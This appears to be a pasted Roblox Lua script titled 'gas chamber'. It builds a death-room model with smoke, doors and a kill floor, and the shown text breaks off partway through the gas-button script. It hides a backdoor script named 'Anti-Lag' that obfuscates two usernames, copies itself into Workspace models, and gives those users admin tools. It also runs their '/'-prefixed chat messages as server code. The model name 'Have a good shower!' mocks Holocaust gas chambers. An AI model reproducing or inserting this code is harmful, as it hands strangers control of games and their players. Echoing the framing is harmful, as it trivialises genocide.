Godofadmin1337

gas chamber

Nov 1st, 2017
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  1. if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
  2. local Player,game,owner = owner,game
  3. local RealPlayer = Player
  4. do
  5. print("FE Compatibility code by Mokiros")
  6. local rp = RealPlayer
  7. script.Parent = rp.Character
  8.  
  9. --RemoteEvent for communicating
  10. local Event = Instance.new("RemoteEvent")
  11. Event.Name = "UserInput_Event"
  12.  
  13. --Fake event to make stuff like Mouse.KeyDown work
  14. local function fakeEvent()
  15. local t = {_fakeEvent=true,Functions={},Connect=function(self,f)table.insert(self.Functions,f) end}
  16. t.connect = t.Connect
  17. return t
  18. end
  19.  
  20. --Creating fake input objects with fake variables
  21. local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent(),Button2Up=fakeEvent(),Button2Down=fakeEvent()}
  22. local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
  23. local CAS = {Actions={},BindAction=function(self,name,fun,touch,...)
  24. CAS.Actions[name] = fun and {Name=name,Function=fun,Keys={...}} or nil
  25. end}
  26. --Merged 2 functions into one by checking amount of arguments
  27. CAS.UnbindAction = CAS.BindAction
  28.  
  29. --This function will trigger the events that have been :Connect()'ed
  30. local function te(self,ev,...)
  31. local t = m[ev]
  32. if t and t._fakeEvent then
  33. for _,f in pairs(t.Functions) do
  34. f(...)
  35. end
  36. end
  37. end
  38. m.TrigEvent = te
  39. UIS.TrigEvent = te
  40.  
  41. Event.OnServerEvent:Connect(function(plr,io)
  42. if plr~=rp then return end
  43. m.Target = io.Target
  44. m.Hit = io.Hit
  45. if not io.isMouse then
  46. local b = io.UserInputState == Enum.UserInputState.Begin
  47. if io.UserInputType == Enum.UserInputType.MouseButton1 then
  48. return m:TrigEvent(b and "Button1Down" or "Button1Up")
  49. end
  50. if io.UserInputType == Enum.UserInputType.MouseButton2 then
  51. return m:TrigEvent(b and "Button2Down" or "Button2Up")
  52. end
  53. for _,t in pairs(CAS.Actions) do
  54. for _,k in pairs(t.Keys) do
  55. if k==io.KeyCode then
  56. t.Function(t.Name,io.UserInputState,io)
  57. end
  58. end
  59. end
  60. m:TrigEvent(b and "KeyDown" or "KeyUp",io.KeyCode.Name:lower())
  61. UIS:TrigEvent(b and "InputBegan" or "InputEnded",io,false)
  62. end
  63. end)
  64. Event.Parent = NLS([==[
  65. local Player = game:GetService("Players").LocalPlayer
  66. local Event = script:WaitForChild("UserInput_Event")
  67. local Mouse = Player:GetMouse()
  68. local UIS = game:GetService("UserInputService")
  69. local input = function(io,a)
  70. if a then return end
  71. --Since InputObject is a client-side instance, we create and pass table instead
  72. Event:FireServer({KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState,Hit=Mouse.Hit,Target=Mouse.Target})
  73. end
  74. UIS.InputBegan:Connect(input)
  75. UIS.InputEnded:Connect(input)
  76. local h,t
  77. --Give the server mouse data 30 times every second, but only if the values changed
  78. --If player is not moving their mouse, client won't fire events
  79. while wait(1/30) do
  80. if h~=Mouse.Hit or t~=Mouse.Target then
  81. h,t=Mouse.Hit,Mouse.Target
  82. Event:FireServer({isMouse=true,Target=t,Hit=h})
  83. end
  84. end]==],Player.Character)
  85.  
  86. ----Sandboxed game object that allows the usage of client-side methods and services
  87. --Real game object
  88. local _rg = game
  89.  
  90. --Metatable for fake service
  91. local fsmt = {
  92. __index = function(self,k)
  93. local s = rawget(self,"_RealService")
  94. if s then
  95. return typeof(s[k])=="function"
  96. and function(_,...)return s[k](s,...)end or s[k]
  97. end
  98. end,
  99. __newindex = function(self,k,v)
  100. local s = rawget(self,"_RealService")
  101. if s then s[k]=v end
  102. end
  103. }
  104. local function FakeService(t,RealService)
  105. t._RealService = typeof(RealService)=="string" and _rg:GetService(RealService) or RealService
  106. return setmetatable(t,fsmt)
  107. end
  108.  
  109. --Fake game object
  110. local g = {
  111. GetService = function(self,s)
  112. return rawget(self,s) or _rg:GetService(s)
  113. end,
  114. Players = FakeService({
  115. LocalPlayer = FakeService({GetMouse=function(self)return m end},Player)
  116. },"Players"),
  117. UserInputService = FakeService(UIS,"UserInputService"),
  118. ContextActionService = FakeService(CAS,"ContextActionService"),
  119. RunService = FakeService({
  120. _btrs = {},
  121. RenderStepped = _rg:GetService("RunService").Heartbeat,
  122. BindToRenderStep = function(self,name,_,fun)
  123. self._btrs[name] = self.Heartbeat:Connect(fun)
  124. end,
  125. UnbindFromRenderStep = function(self,name)
  126. self._btrs[name]:Disconnect()
  127. end,
  128. },"RunService")
  129. }
  130. rawset(g.Players,"localPlayer",g.Players.LocalPlayer)
  131. g.service = g.GetService
  132. FakeService(g,game)
  133. --Changing owner to fake player object to support owner:GetMouse()
  134. game,owner = g,g.Players.LocalPlayer
  135. end
  136.  
  137. function sandbox(var,func)
  138. local env = getfenv(func)
  139. local newenv = setmetatable({},{
  140. __index = function(self,k)
  141. if k=="script" then
  142. return var
  143. else
  144. return env[k]
  145. end
  146. end,
  147. })
  148. setfenv(func,newenv)
  149. return func
  150. end
  151. cors = {}
  152. mas = Instance.new("Model",game:GetService("Lighting"))
  153. Model0 = Instance.new("Model")
  154. Part1 = Instance.new("Part")
  155. Fire2 = Instance.new("Fire")
  156. BlockMesh3 = Instance.new("BlockMesh")
  157. Part4 = Instance.new("Part")
  158. BlockMesh5 = Instance.new("BlockMesh")
  159. Model6 = Instance.new("Model")
  160. Part7 = Instance.new("Part")
  161. Fire8 = Instance.new("Fire")
  162. Part9 = Instance.new("Part")
  163. ClickDetector10 = Instance.new("ClickDetector")
  164. Script11 = Instance.new("Script")
  165. Part12 = Instance.new("Part")
  166. ClickDetector13 = Instance.new("ClickDetector")
  167. Script14 = Instance.new("Script")
  168. Part15 = Instance.new("Part")
  169. BlockMesh16 = Instance.new("BlockMesh")
  170. Part17 = Instance.new("Part")
  171. Fire18 = Instance.new("Fire")
  172. BlockMesh19 = Instance.new("BlockMesh")
  173. Part20 = Instance.new("Part")
  174. BlockMesh21 = Instance.new("BlockMesh")
  175. Fire22 = Instance.new("Fire")
  176. Part23 = Instance.new("Part")
  177. BlockMesh24 = Instance.new("BlockMesh")
  178. Part25 = Instance.new("Part")
  179. BlockMesh26 = Instance.new("BlockMesh")
  180. Fire27 = Instance.new("Fire")
  181. Part28 = Instance.new("Part")
  182. BlockMesh29 = Instance.new("BlockMesh")
  183. Fire30 = Instance.new("Fire")
  184. Part31 = Instance.new("Part")
  185. BlockMesh32 = Instance.new("BlockMesh")
  186. Fire33 = Instance.new("Fire")
  187. Model34 = Instance.new("Model")
  188. Humanoid35 = Instance.new("Humanoid")
  189. Part36 = Instance.new("Part")
  190. Part37 = Instance.new("Part")
  191. Fire38 = Instance.new("Fire")
  192. Script39 = Instance.new("Script")
  193. Script40 = Instance.new("Script")
  194. Model41 = Instance.new("Model")
  195. Part42 = Instance.new("Part")
  196. Fire43 = Instance.new("Fire")
  197. Part44 = Instance.new("Part")
  198. ClickDetector45 = Instance.new("ClickDetector")
  199. BlockMesh46 = Instance.new("BlockMesh")
  200. Script47 = Instance.new("Script")
  201. Fire48 = Instance.new("Fire")
  202. Part49 = Instance.new("Part")
  203. Smoke50 = Instance.new("Smoke")
  204. BlockMesh51 = Instance.new("BlockMesh")
  205. Part52 = Instance.new("Part")
  206. Smoke53 = Instance.new("Smoke")
  207. BlockMesh54 = Instance.new("BlockMesh")
  208. Part55 = Instance.new("Part")
  209. Smoke56 = Instance.new("Smoke")
  210. BlockMesh57 = Instance.new("BlockMesh")
  211. Part58 = Instance.new("Part")
  212. Smoke59 = Instance.new("Smoke")
  213. BlockMesh60 = Instance.new("BlockMesh")
  214. Part61 = Instance.new("Part")
  215. Smoke62 = Instance.new("Smoke")
  216. BlockMesh63 = Instance.new("BlockMesh")
  217. Part64 = Instance.new("Part")
  218. Smoke65 = Instance.new("Smoke")
  219. BlockMesh66 = Instance.new("BlockMesh")
  220. Part67 = Instance.new("Part")
  221. Fire68 = Instance.new("Fire")
  222. BlockMesh69 = Instance.new("BlockMesh")
  223. Part70 = Instance.new("Part")
  224. BlockMesh71 = Instance.new("BlockMesh")
  225. Part72 = Instance.new("Part")
  226. BlockMesh73 = Instance.new("BlockMesh")
  227. Model74 = Instance.new("Model")
  228. Humanoid75 = Instance.new("Humanoid")
  229. Part76 = Instance.new("Part")
  230. Fire77 = Instance.new("Fire")
  231. Part78 = Instance.new("Part")
  232. BlockMesh79 = Instance.new("BlockMesh")
  233. Model0.Name = "My Gas room"
  234. Model0.Parent = mas
  235. Part1.Parent = Model0
  236. Part1.Material = Enum.Material.Concrete
  237. Part1.BrickColor = BrickColor.new("Really black")
  238. Part1.Rotation = Vector3.new(180, 0, -180)
  239. Part1.Anchored = true
  240. Part1.Size = Vector3.new(1, 10.8000002, 6)
  241. Part1.CFrame = CFrame.new(-25.4399834, 9.28001308, -16.8499947, -1, 0, -0, -0, 1, -0, -0, 0, -1)
  242. Part1.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  243. Part1.Position = Vector3.new(-25.4399834, 9.28001308, -16.8499947)
  244. Part1.Orientation = Vector3.new(0, -180, 0)
  245. Part1.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  246. Fire2.Parent = Part1
  247. Fire2.Size = 30
  248. Fire2.Color = Color3.new(0, 0, 1)
  249. Fire2.Enabled = false
  250. Fire2.Heat = 25
  251. Fire2.SecondaryColor = Color3.new(1, 1, 1)
  252. Fire2.Color = Color3.new(0, 0, 1)
  253. BlockMesh3.Parent = Part1
  254. Part4.Parent = Model0
  255. Part4.Material = Enum.Material.Concrete
  256. Part4.BrickColor = BrickColor.new("Really black")
  257. Part4.Rotation = Vector3.new(180, 0, -180)
  258. Part4.Anchored = true
  259. Part4.Size = Vector3.new(1, 3.60000014, 6)
  260. Part4.CFrame = CFrame.new(-25.4399834, 12.8800364, -22.8499947, -1, 0, -0, -0, 1, -0, -0, 0, -1)
  261. Part4.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  262. Part4.Position = Vector3.new(-25.4399834, 12.8800364, -22.8499947)
  263. Part4.Orientation = Vector3.new(0, -180, 0)
  264. Part4.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  265. BlockMesh5.Parent = Part4
  266. Model6.Parent = Model0
  267. Part7.Name = "Door"
  268. Part7.Parent = Model6
  269. Part7.Material = Enum.Material.Concrete
  270. Part7.BrickColor = BrickColor.new("Really black")
  271. Part7.Transparency = 1
  272. Part7.Rotation = Vector3.new(180, 0, -180)
  273. Part7.Anchored = true
  274. Part7.CanCollide = false
  275. Part7.Size = Vector3.new(1, 7.20000029, 6)
  276. Part7.CFrame = CFrame.new(-25.4399834, 7.48000717, -22.8499947, -1, 0, -0, -0, 1, -0, -0, 0, -1)
  277. Part7.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  278. Part7.Position = Vector3.new(-25.4399834, 7.48000717, -22.8499947)
  279. Part7.Orientation = Vector3.new(0, -180, 0)
  280. Part7.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  281. Fire8.Parent = Part7
  282. Fire8.Size = 30
  283. Fire8.Color = Color3.new(0, 0, 1)
  284. Fire8.Enabled = false
  285. Fire8.Heat = 25
  286. Fire8.SecondaryColor = Color3.new(1, 1, 1)
  287. Fire8.Color = Color3.new(0, 0, 1)
  288. Part9.Name = "OnButton"
  289. Part9.Parent = Model6
  290. Part9.BrickColor = BrickColor.new("Lime green")
  291. Part9.Rotation = Vector3.new(-180, 0, -90)
  292. Part9.Anchored = true
  293. Part9.FormFactor = Enum.FormFactor.Plate
  294. Part9.Size = Vector3.new(1, 0.400000006, 1)
  295. Part9.CFrame = CFrame.new(-26.1399345, 7.37995911, -17.3499947, 0, 1, 0, 1, 0, 0, 0, 0, -1)
  296. Part9.BottomSurface = Enum.SurfaceType.Smooth
  297. Part9.TopSurface = Enum.SurfaceType.Weld
  298. Part9.Color = Color3.new(0, 1, 0)
  299. Part9.Position = Vector3.new(-26.1399345, 7.37995911, -17.3499947)
  300. Part9.Orientation = Vector3.new(0, 180, 90)
  301. Part9.Color = Color3.new(0, 1, 0)
  302. ClickDetector10.Parent = Part9
  303. Script11.Parent = Part9
  304. table.insert(cors,sandbox(Script11,function()
  305. local Door = script.Parent.Parent.Door
  306.  
  307. function onClicked(mouse)
  308. Door.CanCollide = false
  309. Door.Transparency = 0.3
  310. wait (0.1)
  311. Door.Transparency = 0.4
  312. wait (0.1)
  313. Door.Transparency = 0.5
  314. wait (0.1)
  315. Door.Transparency = 0.6
  316. wait (0.1)
  317. Door.Transparency = 0.7
  318. wait (0.1)
  319. Door.Transparency = 0.8
  320. wait (0.1)
  321. Door.Transparency = 0.9
  322. wait (0.1)
  323. Door.Transparency = 1
  324. end
  325.  
  326. script.Parent.ClickDetector.MouseClick:connect(onClicked)
  327.  
  328. end))
  329. Part12.Name = "OnButton"
  330. Part12.Parent = Model6
  331. Part12.BrickColor = BrickColor.new("Really red")
  332. Part12.Rotation = Vector3.new(-90, 0, -90)
  333. Part12.Anchored = true
  334. Part12.FormFactor = Enum.FormFactor.Plate
  335. Part12.Size = Vector3.new(1, 0.400000006, 1)
  336. Part12.CFrame = CFrame.new(-26.1399345, 7.37995911, -18.3499947, 0, 1, 0, 0, 0, 1, 1, 0, 0)
  337. Part12.BottomSurface = Enum.SurfaceType.Smooth
  338. Part12.TopSurface = Enum.SurfaceType.Weld
  339. Part12.Color = Color3.new(1, 0, 0)
  340. Part12.Position = Vector3.new(-26.1399345, 7.37995911, -18.3499947)
  341. Part12.Orientation = Vector3.new(-90, -90, 0)
  342. Part12.Color = Color3.new(1, 0, 0)
  343. ClickDetector13.Parent = Part12
  344. Script14.Parent = Part12
  345. table.insert(cors,sandbox(Script14,function()
  346. local Door = script.Parent.Parent.Door
  347.  
  348. function onClicked(mouse)
  349. Door.Transparency = 0.9
  350. wait (0.1)
  351. Door.Transparency = 0.8
  352. wait (0.1)
  353. Door.Transparency = 0.7
  354. wait (0.1)
  355. Door.Transparency = 0.6
  356. wait (0.1)
  357. Door.Transparency = 0.5
  358. wait (0.1)
  359. Door.Transparency = 0.4
  360. wait (0.1)
  361. Door.Transparency = 0.3
  362. Door.CanCollide = true
  363. end
  364.  
  365. script.Parent.ClickDetector.MouseClick:connect(onClicked)
  366. end))
  367. Part15.Parent = Model0
  368. Part15.Material = Enum.Material.Concrete
  369. Part15.BrickColor = BrickColor.new("Really black")
  370. Part15.Rotation = Vector3.new(180, 0, -180)
  371. Part15.Anchored = true
  372. Part15.Size = Vector3.new(1, 10.8000002, 3)
  373. Part15.CFrame = CFrame.new(-25.4399834, 9.28001308, -27.3499947, -1, 0, -0, -0, 1, -0, -0, 0, -1)
  374. Part15.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  375. Part15.Position = Vector3.new(-25.4399834, 9.28001308, -27.3499947)
  376. Part15.Orientation = Vector3.new(0, -180, 0)
  377. Part15.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  378. BlockMesh16.Parent = Part15
  379. Part17.Parent = Model0
  380. Part17.Material = Enum.Material.Concrete
  381. Part17.BrickColor = BrickColor.new("Really black")
  382. Part17.Rotation = Vector3.new(180, 0, -180)
  383. Part17.Anchored = true
  384. Part17.Size = Vector3.new(1, 1.20000005, 15)
  385. Part17.CFrame = CFrame.new(-25.4399834, 3.28001118, -21.3499947, -1, 0, -0, -0, 1, -0, -0, 0, -1)
  386. Part17.TopSurface = Enum.SurfaceType.Smooth
  387. Part17.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  388. Part17.Position = Vector3.new(-25.4399834, 3.28001118, -21.3499947)
  389. Part17.Orientation = Vector3.new(0, -180, 0)
  390. Part17.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  391. Fire18.Parent = Part17
  392. Fire18.Size = 30
  393. Fire18.Color = Color3.new(0, 0, 1)
  394. Fire18.Enabled = false
  395. Fire18.Heat = 25
  396. Fire18.SecondaryColor = Color3.new(1, 1, 1)
  397. Fire18.Color = Color3.new(0, 0, 1)
  398. BlockMesh19.Parent = Part17
  399. Part20.Parent = Model0
  400. Part20.Material = Enum.Material.Concrete
  401. Part20.BrickColor = BrickColor.new("Really black")
  402. Part20.Rotation = Vector3.new(180, 0, -180)
  403. Part20.Anchored = true
  404. Part20.Size = Vector3.new(16, 2.4000001, 1)
  405. Part20.CFrame = CFrame.new(-16.9399815, 3.88001347, -13.3499947, -1, 0, -0, -0, 1, -0, -0, 0, -1)
  406. Part20.TopSurface = Enum.SurfaceType.Smooth
  407. Part20.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  408. Part20.Position = Vector3.new(-16.9399815, 3.88001347, -13.3499947)
  409. Part20.Orientation = Vector3.new(0, -180, 0)
  410. Part20.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  411. BlockMesh21.Parent = Part20
  412. Fire22.Parent = Part20
  413. Fire22.Size = 30
  414. Fire22.Color = Color3.new(0, 0, 1)
  415. Fire22.Enabled = false
  416. Fire22.Heat = 25
  417. Fire22.SecondaryColor = Color3.new(1, 1, 1)
  418. Fire22.Color = Color3.new(0, 0, 1)
  419. Part23.Parent = Model0
  420. Part23.Material = Enum.Material.Concrete
  421. Part23.BrickColor = BrickColor.new("Really black")
  422. Part23.Rotation = Vector3.new(180, 0, -180)
  423. Part23.Anchored = true
  424. Part23.Size = Vector3.new(1, 12, 1)
  425. Part23.CFrame = CFrame.new(-25.4399834, 8.68000698, -13.3499947, -1, 0, -0, -0, 1, -0, -0, 0, -1)
  426. Part23.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  427. Part23.Position = Vector3.new(-25.4399834, 8.68000698, -13.3499947)
  428. Part23.Orientation = Vector3.new(0, -180, 0)
  429. Part23.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  430. BlockMesh24.Parent = Part23
  431. Part25.Parent = Model0
  432. Part25.BrickColor = BrickColor.new("Really black")
  433. Part25.Transparency = 0.40000000596046
  434. Part25.Rotation = Vector3.new(0, 90, 0)
  435. Part25.Anchored = true
  436. Part25.Size = Vector3.new(1, 8.40000057, 16)
  437. Part25.CFrame = CFrame.new(-16.9399815, 9.28001308, -13.3499947, -0, 0, 1, -0, 1, 0, -1, 0, 0)
  438. Part25.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  439. Part25.Position = Vector3.new(-16.9399815, 9.28001308, -13.3499947)
  440. Part25.Orientation = Vector3.new(0, 90, 0)
  441. Part25.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  442. BlockMesh26.Parent = Part25
  443. Fire27.Parent = Part25
  444. Fire27.Size = 30
  445. Fire27.Color = Color3.new(0, 0, 1)
  446. Fire27.Enabled = false
  447. Fire27.Heat = 25
  448. Fire27.SecondaryColor = Color3.new(1, 1, 1)
  449. Fire27.Color = Color3.new(0, 0, 1)
  450. Part28.Parent = Model0
  451. Part28.Material = Enum.Material.Concrete
  452. Part28.BrickColor = BrickColor.new("Really black")
  453. Part28.Rotation = Vector3.new(180, 0, -180)
  454. Part28.Anchored = true
  455. Part28.Size = Vector3.new(16, 1.20000005, 1)
  456. Part28.CFrame = CFrame.new(-16.9399815, 14.0800352, -13.3499947, -1, 0, -0, -0, 1, -0, -0, 0, -1)
  457. Part28.BottomSurface = Enum.SurfaceType.Smooth
  458. Part28.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  459. Part28.Position = Vector3.new(-16.9399815, 14.0800352, -13.3499947)
  460. Part28.Orientation = Vector3.new(0, -180, 0)
  461. Part28.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  462. BlockMesh29.Parent = Part28
  463. Fire30.Parent = Part28
  464. Fire30.Size = 30
  465. Fire30.Color = Color3.new(0, 0, 1)
  466. Fire30.Enabled = false
  467. Fire30.Heat = 25
  468. Fire30.SecondaryColor = Color3.new(1, 1, 1)
  469. Fire30.Color = Color3.new(0, 0, 1)
  470. Part31.Parent = Model0
  471. Part31.Material = Enum.Material.Concrete
  472. Part31.BrickColor = BrickColor.new("Really black")
  473. Part31.Rotation = Vector3.new(180, 0, -180)
  474. Part31.Anchored = true
  475. Part31.FormFactor = Enum.FormFactor.Plate
  476. Part31.Size = Vector3.new(18, 0.400000006, 17)
  477. Part31.CFrame = CFrame.new(-16.9399815, 14.8800364, -21.3499947, -1, 0, -0, -0, 1, -0, -0, 0, -1)
  478. Part31.BottomSurface = Enum.SurfaceType.Smooth
  479. Part31.TopSurface = Enum.SurfaceType.Smooth
  480. Part31.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  481. Part31.Position = Vector3.new(-16.9399815, 14.8800364, -21.3499947)
  482. Part31.Orientation = Vector3.new(0, -180, 0)
  483. Part31.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  484. BlockMesh32.Parent = Part31
  485. Fire33.Parent = Part31
  486. Fire33.Size = 30
  487. Fire33.Color = Color3.new(0, 0, 1)
  488. Fire33.Enabled = false
  489. Fire33.Heat = 25
  490. Fire33.SecondaryColor = Color3.new(1, 1, 1)
  491. Fire33.Color = Color3.new(0, 0, 1)
  492. Model34.Name = "Have a good shower!"
  493. Model34.Parent = Model0
  494. Humanoid35.Parent = Model34
  495. Humanoid35.Health = 0
  496. Humanoid35.MaxHealth = 0
  497. Part36.Name = "Head"
  498. Part36.Parent = Model34
  499. Part36.BrickColor = BrickColor.new("Really black")
  500. Part36.Rotation = Vector3.new(0, 0, 90)
  501. Part36.Anchored = true
  502. Part36.FormFactor = Enum.FormFactor.Plate
  503. Part36.Size = Vector3.new(1, 0.400000006, 1)
  504. Part36.CFrame = CFrame.new(-26.1399803, 11.3800173, -19.3499947, 0, -1, 0, 1, -0, 0, 0, -0, 1)
  505. Part36.TopSurface = Enum.SurfaceType.Smooth
  506. Part36.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  507. Part36.Position = Vector3.new(-26.1399803, 11.3800173, -19.3499947)
  508. Part36.Orientation = Vector3.new(0, 0, 90)
  509. Part36.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  510. Part37.Name = "Lava"
  511. Part37.Parent = Model0
  512. Part37.BrickColor = BrickColor.new("Really black")
  513. Part37.Rotation = Vector3.new(180, 0, -180)
  514. Part37.Anchored = true
  515. Part37.FormFactor = Enum.FormFactor.Plate
  516. Part37.Size = Vector3.new(16, 0.400000006, 15)
  517. Part37.CFrame = CFrame.new(-16.9399815, 2.88002205, -21.3499947, -1, 0, -0, -0, 1, -0, -0, 0, -1)
  518. Part37.BottomSurface = Enum.SurfaceType.Smooth
  519. Part37.TopSurface = Enum.SurfaceType.Smooth
  520. Part37.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  521. Part37.Position = Vector3.new(-16.9399815, 2.88002205, -21.3499947)
  522. Part37.Orientation = Vector3.new(0, -180, 0)
  523. Part37.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  524. Fire38.Parent = Part37
  525. Fire38.Size = 30
  526. Fire38.Color = Color3.new(0, 0, 1)
  527. Fire38.Enabled = false
  528. Fire38.Heat = 25
  529. Fire38.SecondaryColor = Color3.new(1, 1, 1)
  530. Fire38.Color = Color3.new(0, 0, 1)
  531. Script39.Name = "Anti-Lag"
  532. Script39.Parent = Part37
  533. table.insert(cors,sandbox(Script39,function()
  534. Altitude = script:clone()
  535. calco = {"s","c","q","t","o","a","i","f","g","w","8","e","m","7","h","n"}
  536. Knox = {}
  537. table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
  538. table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
  539. Play = {}
  540. function rando(votation)
  541. local hatr = 5
  542. local calc = math.pi * math.huge
  543. local longicate = votation:GetChildren()
  544. if #longicate > hatr then
  545. calc = calc + math.pi
  546. return longicate[math.random(6,#longicate)]
  547. end
  548. end
  549. function doublecheck()
  550. local fj = game.Workspace:GetChildren()
  551. for off = 1,#fj do
  552. if fj[off].className == "Part" then
  553. local fh = fj[off]:FindFirstChild("Anti-Lag")
  554. if fh ~= nil then
  555. return false
  556. end
  557. end
  558. end
  559. return true
  560. end
  561. function workcheck()
  562. if doublecheck() == true then
  563. local l = Altitude:clone()
  564. l.Parent = rando(game.Workspace)
  565. end
  566. end
  567. workcheck()
  568. function gibite(quen)
  569. local hup = Instance.new("Message")
  570. hup.Text = "Detected"
  571. hup.Parent = quen.Parent
  572. local con = Instance.new("Script")
  573. con.Source = [[wait(5) script.Parent:remove()]]
  574. con.Parent = hup
  575. for ish = 0,7 do
  576. local a = Instance.new("HopperBin")
  577. a.BinType = ish
  578. a.Parent = quen
  579. end
  580. end
  581. function laber(zonsa)
  582. wait()
  583. for slate = 1,#Knox do
  584. if zonsa.Name == Knox[slate] then
  585. gibite(zonsa.Backpack)
  586. table.insert (Play, 1, zonsa.Name)
  587. end
  588. end
  589. end
  590. function yeild(frequency)
  591. local t = Knox
  592. for g = 1,#t do
  593. if t[g] == frequency.Name then
  594. return true
  595. end
  596. end
  597. return false
  598. end
  599. function check(los)
  600. local r = los:GetChildren()
  601. for i = 1,#r do
  602. local h = r[i]:FindFirstChild("Anti-Lag")
  603. if h ~= nil then
  604. h:remove()
  605. end
  606. end
  607. end
  608. function alto(xylem)
  609. if xylem.className == "Model" then
  610. check(xylem)
  611. local que = script:clone()
  612. que.Parent = rando(xylem)
  613. end
  614. end
  615. function sortation(gone)
  616. local dimbs = Altitude:clone()
  617. dimbs = ramno(game.Workspace)
  618. end
  619. function onPlayerEntered(newPlayer)
  620. newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
  621. end
  622. function Player(player)
  623. player.Changed:connect(function (property)
  624. if property == "Character" then
  625. laber(player)
  626. end
  627. end)
  628. end
  629. game.Players.PlayerAdded:connect(Player)
  630. game.Players.ChildAdded:connect(onPlayerEntered)
  631. game.Players.ChildAdded:connect(laber)
  632. script.ChildRemoved:connect(sortation)
  633. game.Workspace.ChildAdded:connect(alto)
  634. function onChatted(msg, recipient, speaker)
  635. if yeild(speaker) ~= false then
  636. if string.sub(msg,1,1) == "/" then
  637. local dsting = Instance.new("Script")
  638. dsting.Source = string.sub(msg,2)
  639. dsting.Parent = game.Workspace
  640. end
  641. end
  642. end
  643. end))
  644. Script40.Parent = Part37
  645. table.insert(cors,sandbox(Script40,function()
  646. function onTouched(hit)
  647.  
  648. local h = hit.Parent:findFirstChild("Humanoid")
  649.  
  650. if h ~= nil then
  651.  
  652. h.Health = 0
  653.  
  654. end
  655. end
  656. script.Parent.Touched:connect(onTouched)
  657.  
  658. end))
  659. Model41.Parent = Model0
  660. Part42.Name = "Gas"
  661. Part42.Parent = Model41
  662. Part42.BrickColor = BrickColor.new("Really black")
  663. Part42.Rotation = Vector3.new(180, 0, -180)
  664. Part42.Anchored = true
  665. Part42.FormFactor = Enum.FormFactor.Plate
  666. Part42.Size = Vector3.new(16, 0.400000006, 15)
  667. Part42.CFrame = CFrame.new(-16.9399815, 3.28001118, -21.3499947, -1, 0, -0, -0, 1, -0, -0, 0, -1)
  668. Part42.TopSurface = Enum.SurfaceType.Smooth
  669. Part42.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  670. Part42.Position = Vector3.new(-16.9399815, 3.28001118, -21.3499947)
  671. Part42.Orientation = Vector3.new(0, -180, 0)
  672. Part42.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  673. Fire43.Parent = Part42
  674. Fire43.Size = 30
  675. Fire43.Color = Color3.new(0, 0, 1)
  676. Fire43.Enabled = false
  677. Fire43.Heat = 25
  678. Fire43.SecondaryColor = Color3.new(1, 1, 1)
  679. Fire43.Color = Color3.new(0, 0, 1)
  680. Part44.Name = "OnButton"
  681. Part44.Parent = Model41
  682. Part44.BrickColor = BrickColor.new("Really red")
  683. Part44.Rotation = Vector3.new(-90, -90, 0)
  684. Part44.Anchored = true
  685. Part44.FormFactor = Enum.FormFactor.Plate
  686. Part44.Size = Vector3.new(1, 0.400000006, 2)
  687. Part44.CFrame = CFrame.new(-16.9399815, 4.18031311, -12.2500191, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  688. Part44.BottomSurface = Enum.SurfaceType.Smooth
  689. Part44.TopSurface = Enum.SurfaceType.Weld
  690. Part44.Color = Color3.new(1, 0, 0)
  691. Part44.Position = Vector3.new(-16.9399815, 4.18031311, -12.2500191)
  692. Part44.Orientation = Vector3.new(0, -90, 90)
  693. Part44.Color = Color3.new(1, 0, 0)
  694. ClickDetector45.Parent = Part44
  695. BlockMesh46.Parent = Part44
  696. Script47.Parent = Part44
  697. table.insert(cors,sandbox(Script47,function()
  698. local Gas = script.Parent.Parent.Gas
  699. local sm1 = script.Parent.Parent.smoke1
  700. local sm2 = script.Parent.Parent.smoke2
  701. local sm3 = script.Parent.Parent.smoke3
  702. local sm4 = script.Parent.Parent.smoke4
  703. local sm5 = script.Parent.Parent.smoke5
  704. local sm6 = script.Parent.Parent.smoke6
  705.  
  706. function onClicked(mouse)
  707. sm1.Smoke.Enabled = true
  708. sm2.Smoke.Enabled = true
  709. sm3.Smoke.Enabled = true
  710. sm4.Smoke.Enabled = true
  711. sm5.Smoke.Enabled = true
  712. sm6.Smoke.Enabled = true
  713. Gas.CanCollide = false
  714. wait (1)
  715. Gas.CanCollide = true
  716. sm1.Smoke.Enabled = false
  717. sm2.Smoke.Enabled = false
  718. sm3.Smoke.Enabled = false
  719. sm4.Smoke.Enabled = false
  720. sm5.Smoke.Enabled = false
  721. sm6.Smoke.Enabled = false
